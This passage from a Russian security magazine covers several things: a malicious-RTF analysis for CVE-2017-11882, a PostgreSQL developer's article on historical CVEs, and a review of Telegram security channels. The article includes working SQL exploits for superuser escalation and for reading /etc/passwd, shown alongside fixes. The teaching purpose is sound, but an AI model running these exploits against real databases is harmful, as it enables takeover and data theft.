По­лучим полез­ную наг­рузку и  пос­мотрим, что это  такое. Адрес сле‐­
дующий:

https://raw.githubusercontent.com/accidentalrebel/accidentalrebel.
com/gh-pages/theme/images/test.png

Поведенческий анализ вредоносного документа


Зай­дем в  вир­туаль­ную машину Kali Linux, перей­дем в  каталог /var/lib/
inetsim/http/fakefiles и  сох­раним полез­ную наг­рузку под  име­нем
sample.png.

По­лез­ная наг­рузка, сох­ранен­ная в файл‑заг­лушку Inetsim

Вер­немся в  вир­туаль­ную машину с  Windows 10, уста­новим Microsoft Office


и откро­ем в нем иссле­дуемый файл c39-EmprisaMaldoc.rtf, что­бы про­ана‐­
лизи­ровать его поведе­ние.
Ес­ли файл открыть, запус­тится дочер­ний про­цесс EQNEDT32.EXE (ком‐­
понент MS Office, отве­чающий за  встав­ку и  редак­тирова­ние объ­ектов OLE
в  докумен­ты). Уяз­вимость сра­баты­вает, ког­да EQNEDT32.EXE пыта­ется ско‐­
пиро­вать имя шриф­та в  локаль­но соз­данный буфер. Раз­мер буфера сос‐­
тавля­ет все­го  40 (0x28) байт, одна­ко, если имя шриф­та длин­нее  40  байт,
буфер и  регистр EBP перепол­нятся, а  адре­са воз­вра­та будут переза­писа­ны.
Ког­да фун­кция завер­шит выпол­нение, поток управле­ния дос­тавит­ся по  наз‐­
начен­ному зло­умыш­ленни­ком адре­су.
Вы­пол­няющий­ся таким обра­зом шелл‑код заг­ружа­ет полез­ную наг­рузку
из вир­туаль­ной машины Kali Linux (файл sample.png) и сох­раня­ет по пути C:\
o.exe. Пос­ле запус­ка это­го исполня­емо­го фай­ла появ­ляет­ся модаль­ное
окно, содер­жащее флаг.

Вы­вод полез­ной наг­рузки

Да­вай пос­мотрим, какое имя шриф­та заг­ружа­ется про­цес­сом, ког­да откры‐­


вают вре­донос­ный документ. Для это­го запус­тим Proccess Hacker 2, откро­ем
документ, най­дем про­цесс Winword.exe и  перей­дем на  вклад­ку Memory.
В памяти оты­щем обра­щение к пап­ке C:\Windows\Fonts и  уви­дим, что про‐­
цесс пыта­ется заг­рузить шрифт times.ttf. Зна­чит, это  шрифт Times New
Roman.

ВЫВОДЫ
На этих двух при­мерах мы рас­смот­рели методи­ку иссле­дова­ния подоз­ритель‐­
ных докумен­тов, которые рас­простра­няют­ся зло­умыш­ленни­ками по элек­трон‐­
ной поч­те при фишин­говых ата­ках. На GitHub мож­но най­ти РoС для рас­смот‐­
ренной нами экс­плу­ата­ции уяз­вимос­ти CVE-2017-11882, который выпол­няет
шелл‑код по адре­су в памяти 0x00402114. Microsoft зак­рыла эту уяз­вимость,
выпус­тив патч KB4011604. Не  забудь уста­новить это  обновле­ние, что­бы обе‐­
зопа­сить себя от подоб­ной ата­ки.
ВЗЛОМ

Андрей Бородин
Руководитель подразделения
разработки РСУБД с
открытым кодом в
Yandex.Cloud, PostgreSQL
contributor.
x4mmm@yandex-team.ru

УЯЗВИМОСТИ
СЛОНОВ НАИБОЛЕЕ ЭПИЧНЫЕ CVE
В POSTGRESQL

Раз в квар­тал у PostgreSQL выходит минор­ный релиз с парой


уяз­вимос­тей. Час­то они поз­воля­ют прев­ратить неп­ривиле‐­
гиро­ван­ного поль­зовате­ля в  мес­тно­го царя superuser’а. Ну,
в  «Пост­гре­се» все прос­то  — накаты­ваем пат­чи в  момент
выхода обновле­ния и  спим спо­кой­но. Одна­ко боль­шинс­тво
фор­ков оста­ются уяз­вимыми! Я про­шел­ся по  исто­ричес­ким
CVE «Пост­гре­са» в  поис­ках инте­рес­ных лазе­ек и  нашел там
очень мно­го инте­рес­ного.

WARNING
Статья име­ет озна­коми­тель­ный харак­тер и пред‐­
назна­чена для  спе­циалис­тов по  безопас­ности,
про­водя­щих тес­тирова­ние в  рам­ках кон­трак­та.
Автор и  редак­ция не  несут ответс­твен­ности
за  любой вред, при­чинен­ный с  при­мене­нием
изло­жен­ной информа­ции. Рас­простра­нение вре‐­
донос­ных прог­рамм, наруше­ние работы сис­тем
и  наруше­ние тай­ны перепис­ки прес­леду­ются
по закону.

Не­дав­но я учас­тво­вал в соз­дании управля­емо­го Greenplum для Yandex.Cloud.


Greenplum — это ана­лити­чес­кая база на осно­ве ста­рого доб­рого PostgreSQL.
Про доб­рый — это такая прис­казка. А вот ста­рый Postgres там во весь рост.
Greenplum 6  сде­лан на  осно­ве PostgreSQL 9.4, для  которо­го обновле­ния
безопас­ности не выпус­кают­ся с доковид­ных вре­мен.
Что зна­чит тер­мин «управля­емый» при­мени­тель­но к  Greenplum? Наши
обвязки  — Control Plane  — авто­мати­чес­ки соеди­няют­ся с  базой, дела­ют
бэкапы, монито­рят, не  сло­малось ли чего, уста­нав­лива­ют обновле­ния и  все
такое про­чее. Исто­ричес­ки во  всех базах дан­ных есть супер­поль­зователь.
Это — уро­вень, на котором поль­зователь может все, что дос­тупно про­цес­су
базы. В час­тнос­ти, он может ата­ковать Control Plane. Поэто­му в управля­емых
базах при­виле­гии супер­поль­зовате­ля обыч­но недос­тупны, а если дос­тупны —
это  пред­став­ляет серь­езную опас­ность для  дан­ных. Какой‑нибудь буй­ный
сосед может ата­ковать Control Plane, а потом и всю нашу базу. Поэто­му каж‐­
дую уяз­вимость «Пост­гре­са» я теперь рас­смат­риваю как  повод про­пат­чить
Greenplum.
Во­обще, у «Пост­гре­са» име­ется тон­на фор­ков. Потен­циаль­но все они уяз‐­
вимы ко  все­му, что будет перечис­лено в  этой статье. В  резуль­тате на  таких
базах начина­ют май­нить или слу­чают­ся исто­рии как с фот­ками Скар­лет. Кро‐­
ме того, мно­гие обла­ка не  зас­тавля­ют поль­зовате­лей апгрей­дить­ся пос­ле
end of life мажор­ной вер­сии. У некото­рых, как, нап­ример, у Redshift, есть прог‐­
раммы bug bounty. Если у  тебя в  запасе уйма сво­бод­ного вре­мени  —
это хороший шанс кон­верти­ровать зна­ния в день­ги.
Мо­жет показать­ся, что эпич­ные дыры в  безопас­ности  — вер­ный приз­нак
«решета», которым луч­ше не поль­зовать­ся. Это не так. Откры­тая пуб­ликация
всех исто­ричес­ких уяз­вимос­тей — то, что не дает заметать под ковер zero day.
Понят­ный про­цесс под­дер­жки и обновле­ния мажор­ных вер­сий пилит комитет
PostgreSQL security. Он не зависит от одной ком­мерчес­кой ком­пании и проз‐­
рачно фор­миру­ется из  мно­жес­тва чле­нов сооб­щес­тва, извес­тных сво­им
дотош­ным ревью кода. Хочешь помес­тить зак­ладку в код «Пост­гре­са», как это
слу­чилось с  ядром Linux? Для  одной попыт­ки пот­ребу­ются мно­гие годы
работы, если не десяти­летия.
Что ж, перей­дем, наконец, к  сути. Чем мож­но себя раз­влечь, встре­тив
недопат­ченный «Пост­грес»?

CVE-2018-10915. ХИТРЫЕ СТРОКИ ПОДКЛЮЧЕНИЯ


Уяз­вимос­ти CVE-2018-10915 под­верже­ны вер­сии 10.4, 9.6.9 и более древ­ние.
Сама уяз­вимость называ­ется Certain host connection parameters defeat client-
side security defenses, и  может показать­ся, буд­то речь идет об  опас­ности
на сто­роне кли­ента, а не сер­вера. Но CVSS score 8,5 намека­ет, что все не так
прос­то.
Ког­да сер­вер откры­вает соеди­нения по  прось­бе кли­ента  — это  всег­да
потен­циаль­ная угро­за. Если твой веб‑сер­вер про­ходит по URL’у, получен­ному
от  кли­ента,  — кли­ент обя­затель­но под­сунет URL для  заказа пиц­цы в  ваш
дата‑центр.

История из жизни сообщества


Один раз мы приш­ли в  сооб­щес­тво с  пред­ложени­ем раз­решить неп­ривиле‐­
гиро­ван­ным поль­зовате­лям соз­давать под­писки логичес­кой реп­ликации.
В  сооб­щес­тве нам намек­нули, что соз­дание исхо­дящих соеди­нений  — уже
отличный спо­соб остать­ся с голой базой про­тив ежа. И дей­стви­тель­но, нем‐­
ного подумав, мы наш­ли спо­соб взло­мать собс­твен­ный набор пат­чей.

В PostgreSQL для обра­щения к дан­ным на сосед­них сер­верах есть спе­циаль‐­


ные рас­ширения  — dblink и  postgres_fdw. Они поз­воля­ют исполь­зовать
таб­лицы на дру­гих сер­верах (необя­затель­но PostgreSQL) в SQL-зап­росах.

Прин­цип работы dblink и postgres_fdw

Postgres_fdw  — это  чуть более удоб­ный спо­соб сде­лать ров­но то же самое.


Поль­зователь не  переда­ет зап­росы тек­стом, а  локаль­но видит уда­лен­ную
таб­лицу как обыч­ную.
Ес­ли в  базе дан­ных уже соз­дано одно из  этих двух рас­ширений, поль‐­
зователь может схо­дить с  адре­са сер­вера PostgreSQL куда‑нибудь за  дан‐­
ными. Уже сам по  себе этот факт ког­да‑то соз­давал при­коль­ную уяз­вимость
CVE-2007-6601. При­чем не нуж­но даже лазить куда‑то далеко — мож­но прос‐­
то прий­ти от сер­вера к самому себе и поп­росить локаль­ное соеди­нение.

Ло­каль­ное соеди­нение с dblink

Та­кой Уро­борос воз­можен потому, что в  host based authentication (pg_hba.


conf) час­то мож­но видеть какие‑нибудь при­коль­ные строч­ки вро­де тех, что
при­веде­ны ниже. Дос­ловно они озна­чают «локаль­ным соеди­нени­ям  —
верить».

# "local" is for Unix domain socket connections only


local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust

Они туда при­езжа­ют из  докер‑обра­за или  при ини­циали­зации с  initdb. Что
же делать с такой воз­можностью?

postgres=# SELECT dblink_exec('host=localhost dbname=postgres',


'ALTER USER x4m WITH SUPERUSER;');
dblink_exec
-------------
ALTER ROLE
(1 row)
postgres=# \c postgres
You are now connected to database "postgres" as user "x4m".
postgres=# CREATE TABLE pwn(t TEXT);
CREATE TABLE
postgres=# COPY pwn FROM '/etc/passwd';
COPY 27
postgres=# SELECT * FROM pwn;

INFO
Сра­зу отме­чу два момен­та.
1. Ко­неч­но, это  стриг­герит монито­рин­ги  —
для защиты от таких взло­мов необ­ходимо пос‐­
тоян­но про­верять whitelist суперъ­юзе­ров в сис‐­
теме. Это  сов­сем нес­ложно тех­ничес­ки и  в
хороших сис­темах дав­но сде­лано. Но  неп­рият‐­
ности могут начать­ся еще  до того, как  на хост
при­бегут безопас­ники с  щип­цами и  паяль‐­
ником.
2. Хо­рошую инс­трук­цию по  осно­вам хакин­га
PostgreSQL мож­но най­ти на  pentest-wiki.
Некото­рые при­меры в этой статье взя­ты отту­да.

Ра­зуме­ется, такую уяз­вимость запат­чили еще  в далеком  2007  году (Дуров,


вер­ни сте­ну!). При­чем запат­чили не­хит­рым спо­собом, теперь dblink
и postgres_fdw не сог­ласны идти куда‑либо без пароля!

static void
dblink_security_check(PGconn *conn, remoteConn *rconn)
{
if (!superuser())
{
if (!PQconnectionUsedPassword(conn))
{
PQfinish(conn);
if (rconn)
pfree(rconn);

ereport(ERROR,
(errcode(
ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED),
errmsg("password is required"),
errdetail("Non-superuser cannot connect if the
server does not request a password."),
errhint("Target server's authentication method
must be changed.")));
}
}
}

Вот и слав­но, теперь все безопас­но, мы не исполь­зуем бес­пароль­ные соеди‐­


нения от адре­са нашего сер­вера. Защити­ли себя от самих себя. Но прог­ресс
(как и «Пост­грес») не сто­ит на мес­те, новые фичи при­несут новые баги!
В  2010-х сооб­щес­тво Postgres активно пилило фичи для  захода в  рынок
Enterprise-сис­тем. Одна из таких фич — пос­тро­ение высоко­дос­тупной (highly
available) базы дан­ных. Дело в том, что любое железо может рано или поз­дно
отка­зать: дис­ки иног­да сып­лются как песок, память стра­дает от кос­мичес­ких
лучей, проц перег­рева­ется, сетевой свич получа­ет баж­ную про­шив­ку, кабель
до дата‑цен­тра перег­рыза­ет злоб­ный хомяк и так далее. Стан­дар­тный под­ход
для  решения таких проб­лем  — дуб­лирова­ние сис­тем. У  ави­алай­нера
как минимум два дви­гате­ля, у парашю­тис­та два парашю­та, у Вуп­сеня — Пуп‐­
сень, у Пупы — Лупа.
Так и  PostgreSQL уме­ет реп­лициро­вать пол­ную бинар­ную копию дан­ных
на дру­гое железо, где веро­ятность одновре­мен­ного отка­за миними­зиро­вана.
При этом кли­ент име­ет два или боль­ше hostname’ов и не зна­ет, кто есть кто,
до откры­тия соеди­нения.

Реп­лициро­вание БД в PostgreSQL

Кли­ент может ука­зать в стро­ке соеди­нения, нужен ли ему Primary для записи,


или  подой­дет любой живой Standby, где мож­но выпол­нить толь­ко чита­ющие
зап­росы. Стро­ка соеди­нения при этом выг­лядит так.

postgresql://host1:port2,host2:port2/?target_session_attrs=read-write

Это фича PostgreSQL 10, о  ней мож­но под­робнее почитать тут. Но  и
в  PostgreSQL 9.6  мож­но сде­лать то же самое, если один DNS name вер­нет
нес­коль­ко IP-адре­сов.
Суть уяз­вимос­ти CVE-2018-10915  зак­люча­ется в  том, что, один раз
исполь­зовав пароль для аутен­тифика­ции, dblink и postgres_fdw сог­ласны зай‐­
ти к  сле­дующим хос­там без  пароля. Нам дос­таточ­но под­нять свою реп­лику,
дос­тупную сер­веру по  сети, аутен­тифици­ровать­ся в  ней, а  затем вер­нуть­ся
в localhost.

postgres=# SELECT dblink_exec('host=my.standby.xyz,localhost


dbname=postgres password=imahacker','ALTER USER x4m WITH SUPERUSER;')
;
dblink_exec
-------------
ALTER ROLE
(1 row)

Здесь пароль imahacker под­ходит к  реп­лике my.standby.xyz, а  localhost


пароль уже не спра­шива­ет.
Фикс и  под­робное опи­сание от  Тома Лэй­на мож­но почитать в  ком­мите
d1c6a14. CVE-2018-10915  была обна­руже­на Андре­ем Кра­сич­ковым aka
buglloc. Если тебе инте­рес­но боль­ше деталей (и нем­ного филосо­фии), то сто‐­
ит почитать его хак‑сто­ри. Там под­робнее опи­сан баж­ный код и экс­плу­ата­ция,
в том чис­ле в вер­сии 9.6 без target session attrs.
Вер­сия  9.6  при­меча­тель­на, нап­ример, тем, что на  дан­ный момент
это  дефол­тная вер­сия в  Astra Linux. А  еще у  нее end of  life в  начале нояб‐­
ря  2021-го  — наде­юсь, в  «Астре» все про­пат­чат, потому что новые CVE
в 9.6 фик­сить­ся не будут.

CVE-2020-25695. КРУЧУ, ВЕРЧУ, ЗАПУТАТЬ ХОЧУ


Уяз­вимос­ти CVE-2020-25695 под­верже­ны  13.0, 12.4, 11.10, 10.15  и  дру­гие
мажор­ные вер­сии, нын­че уже дос­тигшие EOL. Overall score 8,8. В уяз­вимос­ти
так­же экс­плу­ати­рует­ся ком­бинация из  мно­жес­тва нет­риви­аль­ных фич. Тем
не  менее экс­плу­ата­ция под­ходит для  script kiddies  — прос­то зафигачь SQL-
зап­рос, и готово, никакой воз­ни с под­став­ными реп­ликами, написа­нием кода
или  чего‑то такого. Если ты из  таких  — в  кон­це раз­дела по  ссыл­ке можешь
ска­чать full sploit из  статьи иссле­дова­теля, открыв­шего уяз­вимость. А  я тут
пока рас­ска­жу, что за фичи при­вели к уяз­вимос­ти.
Ахил­лесова пята PostgreSQL  — про­цесс ваку­уми­зации aka VACUUM. Он
уда­ляет вер­сии дан­ных, которые нет необ­ходимос­ти видеть новым тран­закци‐­
ям. Иног­да его запус­кает сисад­мин или cron от име­ни сисад­мина. Иног­да он
запус­кает­ся сам — ког­да уда­лилось или обно­вилось дос­таточ­но мно­го строк.
В этом слу­чае он называ­ется autovacuum. И запус­кает­ся он от име­ни супер‐­
поль­зовате­ля.
Вот  бы добавить какого‑нибудь кода к  ваку­уму, что­бы он выпол­нился
от  име­ни супер­поль­зовате­ля, да? Об  этом раз­работ­чики Postgres, конеч­но,
подума­ли. На вре­мя ваку­уми­зации кон­крет­ной таб­лицы кон­текст выпол­нения
перек­люча­ется на вла­дель­ца таб­лицы. Если мы запили­ли свою таб­лицу — ну,
наши фун­кции при ее ваку­уми­зации выпол­нятся с нашими пра­вами. Работа­ет
это так.

/* Switch to the table owner's userid... */


SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

// Вакуумизируем на все деньги

/* Restore userid and security context */


SetUserIdAndSecContext(save_userid, save_sec_context);

CommitTransactionCommand();

По­луча­ется, что нам нуж­но во вре­мя ваку­уми­зации отло­жить взлом до момен‐­


та окон­чания тран­закции. Потому что до  ком­мита мы выпол­няем­ся с  недос‐­
таточ­но кру­тым кон­тек­стом. Решение этой задачи доволь­но прос­тое: мож­но
соз­дать триг­гер DEFERRED, который выпол­нится при  ком­мите. Вот кусочек
кода из advisory отправ­ленно­го при репор­те бага.

/* create a CONSTRAINT TRIGGER, which is deferred


deferred causes it to trigger on commit, by which time the user has
been switched back to the
invoking user, rather than the owner
*/
CREATE CONSTRAINT TRIGGER def
AFTER INSERT ON t0
INITIALLY DEFERRED
FOR EACH ROW
EXECUTE PROCEDURE strig();

Как нам сде­лать, что­бы этот триг­гер выз­вался во  вре­мя ваку­ума? Для  это­го
нуж­но, что­бы ваку­ум встав­лял дан­ные, а он их уда­ляет... Прос­то надо сде­лать
так, что­бы ваку­ум одной таб­лицы встав­лял дан­ные в дру­гую!
Ка­кие фун­кции вызыва­ются при  ваку­уме? Фун­кции индексов по  выраже‐­
нию. Рас­смот­рим код экс­пло­ита пол­ностью.

CREATE TABLE t0 (s varchar);


CREATE TABLE t1 (s varchar);
CREATE TABLE exp (a int, b int);

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer


LANGUAGE sql IMMUTABLE AS
'SELECT $1'; -- При создании индекса по выражению функция должна
быть IMMUTABLE, то есть БЕСПОЛЕЗНА

CREATE INDEX indy ON exp (sfunc(a));

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer


LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1'; --
Заменим функцию мутабельной

CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer


LANGUAGE sql SECURITY INVOKER AS
'ALTER USER foo SUPERUSER; SELECT $1'; -- Функция, вызываемая из
DEFERRED триггера

CREATE OR REPLACE FUNCTION strig() RETURNS trigger


AS $e$ BEGIN
PERFORM fooz.public.snfunc(1000); RETURN NEW;
END $e$
LANGUAGE plpgsql; -- Функция триггера

CREATE CONSTRAINT TRIGGER def


AFTER INSERT ON t0
INITIALLY DEFERRED FOR EACH ROW
EXECUTE PROCEDURE strig();

ANALYZE exp;

INSERT INTO exp VALUES (1,1), (2,3),(4,5),(6,7),(8,9);


DELETE FROM exp;
INSERT INTO exp VALUES (1,1);

ALTER TABLE exp SET (autovacuum_vacuum_threshold = 1);


ALTER TABLE exp SET (autovacuum_analyze_threshold = 1);

Здесь ваку­ум exp вызыва­ет sfunc(), которая встав­ляет дан­ные в  t0. Затем
триг­гер на  t0 вызыва­ет string() в  кон­це тран­закции с  кон­тек­стом супер‐­
поль­зовате­ля, который, в  свою оче­редь, вызыва­ет snfunc(). А  он гран­тит
супер­поль­зовате­ля ата­кующе­му. Для  экс­плу­ата­ции этой уяз­вимос­ти нуж­на
воз­можность соз­давать таб­лицы и индексы.
CVE-2020-25695 най­дена Эть­еном Стол­мансом aka staaldraad и под­робно
опи­сана в  его бло­ге. Денис Смир­нов так­же адап­тировал эту уяз­вимость
для GreenplumDB.

CVE-2021-23214. TLS — ЭТО НАДЕЖНО, TLS — ЭТО БЕЗОПАСНО


Уяз­вимос­ти CVE-2021-23214 под­верже­ны 14.0, 13.4, 12.8, 11.13, 10.18. Overall
score 8,1. А  еще уяз­вимы ока­зались все пулеры соеди­нений  — PgBouncer,
PgPool II и Odyssey.
TLDR: если исполь­зует­ся кли­ент­ская аутен­тифика­ция по TLS-сер­тифика­ту
и  есть MITM, мож­но в  начало соеди­нения добавить выпол­нение сво­его зап‐­
роса.
Пост­грес­ный про­токол обме­на дан­ными пос­тро­ен на со­обще­ниях. Каж­дое
сооб­щение начина­ется с 4 байт, содер­жащих информа­цию о раз­мере сооб‐­
щения. Потом идет один байт, опре­деля­ющий тип пакета. Оставше­еся мес­то
может быть занято пакетос­пецифич­ными дан­ными.
Нор­маль­ный сер­вер пер­вым делом отпра­вит кли­енту startup-сооб­щение
с  пред­ложени­ем перей­ти на  TLS-шиф­рование, получит сог­ласие кли­ента,
передаст сокет биб­лиоте­ке OpenSSL, а от нее уже получит безопас­ный канал
для обще­ния, где про­ведет аутен­тифика­цию.
В PostgreSQL аутен­тифици­ровать­ся мож­но по‑раз­ному. Нап­ример,
по  паролю откры­тым тек­стом. Но  это стрем­но со  всех сто­рон. Мож­но вос‐­
поль­зовать­ся MD5-аутен­тифика­цией: сер­вер приш­лет соль, кли­ент перехе‐­
ширу­ет пароль, себя и соль, а потом отпра­вит сер­веру. Но при этом, взло­мав
базу и  про­читав пред­став­ление pg_authid, мож­но получить дос­таточ­но дан‐­
ных, что­бы зай­ти в  базу любым дру­гим поль­зовате­лем с  MD5-аутен­тифика‐­
цией.
Мож­но вос­поль­зовать­ся схе­мой SCRAM-SHA-256, при  этом взлом базы
не  поз­волит исполь­зовать получен­ные сек­реты. Даже зай­ти в  ту же самую
базу по сты­рен­ным дан­ным не получит­ся.
А мож­но вооб­ще «делеги­ровать ответс­твен­ность Фун­ту»  — исполь­зовать
аутен­тифика­цию по  TLS-сер­тифика­там. При  этом, ког­да уста­нов­лено TLS-
соеди­нение, Common Name сер­тифика­та будет срав­нивать­ся с  поль‐­
зователь­ским. Если они сов­пали  — зна­чит, у  кли­ента есть сер­тификат,
выписан­ный доверен­ным цен­тром. У  такого под­хода мно­го плю­сов: нап‐­
ример, ротация сек­ретов боль­ше не  проб­лема DBA. Пусть кли­ент сам раз‐­
бира­ется, где добыть валид­ный серт, если ста­рый про­тух.
Ес­ли вся база целиком укра­дена, в ней не добыть вооб­ще никаких аутен‐­
тифика­цион­ных дан­ных. Про­вер­ка сер­тифика­та написа­на нас­тоящи­ми свар‐­
щиками от крип­тогра­фии, оста­лось толь­ко взять их код. Но есть нюанс.
У PostgreSQL доволь­но мел­кие пакеты. Нап­ример, пакет ReadyForQuery —
6  байт. Для  чте­ния из  сокета необ­ходим сис­темный вызов  — это  дол­го.
Поэто­му Postgres и  все пулеры чита­ют дан­ные про  запас. Кто‑то называ­ет
это буфери­заци­ей, кто‑то — readahead. Из буфера readahead бай­ты идут уже
на  пар­синг пакетов. Буфер readahead напол­няет­ся нап­рямую из  сетево­го
сокета либо из потока TLS в шиф­рован­ном соеди­нении. А вот в момент сме‐­
ны нешиф­рован­ного соеди­нения про­исхо­дит... а ничего не про­исхо­дит.
В OpenSSL переда­ется не буфер readahead, а само сетевое соеди­нение.
Те бай­ты, что приш­ли нешиф­рован­ными, оста­ются лежать как бы счи­тан­ными.
Как буд­то получен­ными из шиф­рован­ного соеди­нения. Этим может вос­поль‐­
зовать­ся man in the middle, добавив вслед за startup-сооб­щени­ем сооб­щение
SimpleQuery с  прос­тым зап­росом "CREATE ROLE x4m WITH LOGIN
SUPERUSER PASSWORD 'imahacker';". Ког­да аутен­тифика­ция в  OpenSSL
будет успешно завер­шена, сер­вер про­дол­жит счи­тывать сооб­щения
из буфера readahead и выпол­нит SimpleQuery, как если бы он при­шел от поль‐­
зовате­ля.

Прин­цип работы уяз­вимос­ти CVE-2021-23214

У этой уяз­вимос­ти есть и  сим­метрич­ная кли­ент­ская CVE-2021-23222: MITM


может под­сунуть свой ответ на  пер­вые зап­росы кли­ента вмес­то того, что
говорит сер­вер на  самом деле. Но  экс­плу­ата­ция этой уяз­вимос­ти тре­бует
нефиго­вого зна­ния кода кли­ент­ско­го при­ложе­ния. Нап­ример, как‑то так.

Прин­цип работы уяз­вимос­ти CVE-2021-23222

В Postgres фикс кли­ент­ской и сер­верной уяз­вимос­тей пред­полага­ет не толь­ко


сброс буфера пос­ле startup-пакета, но  и запись в  лог о  попыт­ке нахими­чить
с TLS. В акту­аль­ных вер­сиях попыт­ка экс­плу­ата­ции не прой­дет незаме­чен­ной
и, веро­ятно, раз­будит монито­рин­ги безопас­ности. Мой фикс для  этих уяз‐­
вимос­тей в  «Одис­сее» выг­лядит так. В  «Одис­сее» они, кста­ти, извес­тны
под дру­гими номера­ми: CVE-2021-43766 и CVE-2021-43767.
CVE-2021-23214  и  подоб­ные уяз­вимос­ти в  PG най­дены Джей­кобом Чем‐­
пионом, пос­ле выхода фик­сов он написал до­воль­но инте­рес­ный спи­сок
пожела­ний к про­екту для повыше­ния безопас­ности в будущем.

ЗАКЛЮЧЕНИЕ...
...тюрем­ное может гро­зить при исполь­зовании этой информа­ции необ­думан‐­
но. Пом­ни, что все эти раз­вле­чения пред­став­лены тут, прос­то что­бы подумать
о веч­ном, битах и бай­тах, все такое. Ставь апдей­ты сво­евре­мен­но. Исполь­зуй
экс­пло­иты, толь­ко что­бы учить­ся, иссле­довать и  этич­но репор­тить о  проб‐­
лемах безопас­ности. А  еще не  забывай вов­ремя делать резер­вные копии,
нап­ример с помощью инс­тру­мен­та для резер­вно­го копиро­вания баз дан­ных,
раз­работ­кой которо­го я занима­юсь.
ВЗЛОМ

ShəLMā
Киберпанк, технокрыс
и просто мерзкая личность.
schelma@protonmail.com

ХАКЕРСКАЯ
ТЕЛЕГА
ОБЗОР TELEGRAM-КАНАЛОВ
ОБ ИНФОРМАЦИОННОЙ
БЕЗОПАСНОСТИ

Все‑таки Telegram — уни­каль­ное при­ложе­ние. Оно сочета­ет


в себе удоб­ный мес­сен­джер, соци­аль­ную сеть и  кон­чающий
бак­лажан бло­ги, в которых мож­но пуб­ликовать раз­вле­катель‐­
ный или  обра­зова­тель­ный кон­тент. При­чем пос­ледне­го
в  телеге мно­го: имен­но здесь мно­гоопыт­ные гуру обе­щают
обу­чить твою собаку прог­рамми­рова­нию на  Python
за  восемь дней и  прев­ратить любого говоря­щего попугая
в  DevOps-инже­нера. Давай пос­мотрим, что есть в  «Телег‐­
раме» по теме информа­цион­ной безопас­ности.

Каж­дому поль­зовате­лю телеги допод­линно извес­тно: вся­ких инте­рес­ных


полез­ностей и полез­ных инте­рес­ностей там име­ется не прос­то в дос­татке, а,
пря­мо ска­жем, овер­дофига. С  дру­гой сто­роны, некото­рые каналы впол­не
могут сопер­ничать с  канали­заци­ей  — если мы возь­мем­ся оце­нивать их
содер­жимое. Потому для сегод­няшне­го обзо­ра я буду выбирать не абы какие
источни­ки из раз­ряда «там какой‑то г***сек написал про инфо­сек», а впол­не
серь­езные паб­лики, зас­лужива­ющие доверия, рес­пекта и  ува­жухи. Готовы?
Тог­да пог­нали!

ИНФОРМАЦИЯ ОПАСНОСТЕ
Ка­нал Го­лак­теко «Ин­форма­ция опас­носте» рас­ска­зыва­ет о  новос­тях в  мире
инфо­беза и  в окру­жающем его кибер­пространс­тве. При­чем «опас­носте»  —
это не оче­пят­ка. Впро­чем, кто сей­час вспом­нит тот древ­ний лепер­ско‑упя­чеч‐­
ный мем?

Ин­форма­ция опас­носте оло­ло пыщ‑пыщ, username

Здесь соб­раны новос­ти о  все­воз­можных взло­мах и  утеч­ках, о  рас­простра‐­


нении вре­доно­сов, обна­руже­нии уяз­вимос­тей и поим­ке злоб­ных хакеров. Все
это щед­ро раз­бавле­но сооб­щени­ями о выходе на рынок новых спло­итов про‐­
цес­соров и  вер­сий популяр­ного соф­та, а  свер­ху при­сыпа­но репор­тажами
о  бло­киров­ках и  сбо­ях в  работе раз­личных сер­висов. В  уют­ном чатике сос‐­
тоит более  19К под­писчи­ков, при­чем новос­ти мож­но не  толь­ко читать, но  и
ком­ментить, что откры­вает перед ано­ниму­сами уни­каль­ную воз­можность при‐­
нять учас­тие в  высоко­интеллек­туаль­ных spачах дис­кусси­ях на  живот­репещу‐­
щие темы. Обновле­ния ежед­невные. В общем, не лишено смыс­ла под­писать‐­
ся, что­бы всег­да оста­вать­ся в кур­се событий.

@IN51D3
@in51d3 (чита­ется как  Inside, если ты вдруг сом­невал­ся)  — это  канал, пос‐­
вящен­ный информа­цион­ной безопас­ности в  самом широком смыс­ле это­го
замыс­ловато­го понятия. Ведет его Немезидa  — админ DEFCON7495. Канал
нас­читыва­ет нем­ногим более  8000  под­писчи­ков, что мож­но наз­вать впол­не
солид­ной ауди­тори­ей.
Ос­новной тип кон­тента @in51d3  — ссыл­ки на  статьи в  бло­ге Inside. Пуб‐­
ликации раз­делены по  темам «Пен­тест», «Соци­аль­ная инже­нерия и  OSINT»,
«Hardware Hacking», «Сети», «Информа­цион­ная безопас­ность», «IoT» и  нес‐­
коль­ким дру­гим. Тек­сты пред­став­лены как  на рус­ском, так и  на англий­ском
язы­ках. В прин­ципе, все самое инте­рес­ное мож­но про­читать и пря­мо в бло­ге,
но, под­писав­шись на  телег­рам‑канал, ты точ­но не  про­пус­тишь ни  одной
новин­ки.

Ка­нал Inside — пуб­ликации на тему информа­цион­ной безопас­ности

Об­новле­ния там появ­ляют­ся при­мер­но раз в  неделю, иног­да чуть чаще.


Статьи в  целом доволь­но‑таки поз­наватель­ные, часть из  них  — перево­ды,
часть  — автор­ский кон­тент, при­чем ори­енти­рова­ны они как  на начина­ющих,
так и на со­лид­ных дяденек с пузом читате­лей с опы­том. То есть каж­дый най‐­
дет здесь для  себя что‑нибудь по  душе почитать том­ными вечера­ми
за чашеч­кой вкус­ного каль­вадоса.

КАВЫЧКА
Под этим заковы­рис­тым наз­вани­ем скры­вает­ся те­лег­рам‑канал, целиком
и  пол­ностью пос­вящен­ный информа­цион­ной безопас­ности, уяз­вимос­тям
и  ата­кам на  веб‑при­ложе­ния. Ведет его широко извес­тный в  узких кру­гах
ИБ‑иссле­дова­тель Антон Лопани­цын, он же Bo0oM.
«Кавыч­ка» рас­ска­зыва­ет о кон­крет­ных уяз­вимос­тях и при­водит при­меры их
экс­плу­ата­ции, для  более вдум­чивого изу­чения дают ссыл­ки на  допол­нитель‐­
ные источни­ки. Все крат­ко и по делу. Глав­ное — без назой­ливой рек­ламы.

Ка­нал «Кавыч­ка»

